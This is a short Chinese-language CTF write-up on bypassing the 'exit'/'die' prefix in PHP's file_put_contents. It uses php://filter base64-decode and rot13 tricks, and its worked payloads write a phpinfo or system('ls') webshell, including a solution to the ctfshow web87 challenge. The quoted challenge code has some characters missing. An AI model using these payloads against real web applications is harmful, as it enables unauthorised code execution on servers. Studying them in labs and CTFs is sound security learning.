file_put_content函数下的绕过

heck1ng / 2024-03-13 / 原文

该函数的作用是将文件写入字符串中

首先,file_put_content大概有三种情形出现;

file_put_contents($filename,"<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content . "\nxxxxxx");

 

思路:将杂糅或者死亡代码分解

这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;

其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

1.base64绕过

利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
这里content前加了个a 是因为是因为base64在解码的时候是将4个字节转化为3个字节,
又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化。

2.rot13编码绕过
php://filter/string.rot13/resource=simple.php

<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>


ctfshow web87
 $file $_GET['file'];
    $content $_POST['content'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    $file str_replace(":""???"$file);
    $file str_replace(".""???"$file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

urldecode ----出现该函数
二次url编码,因为第一次编码过去之后自动解码(中间件自动解码),但是他这里还要解码一次
payload:
php://filter/write=convert.base64-encode/resource=1.php 进行两次url加密
content中传入
<?php system('ls');?> 后进行base64加密 中间的phpdie是六位字符
而base64是以四位进行加解密 所以在base64加密后补上aa
正好填充 phpdieaa 对die函数进行消去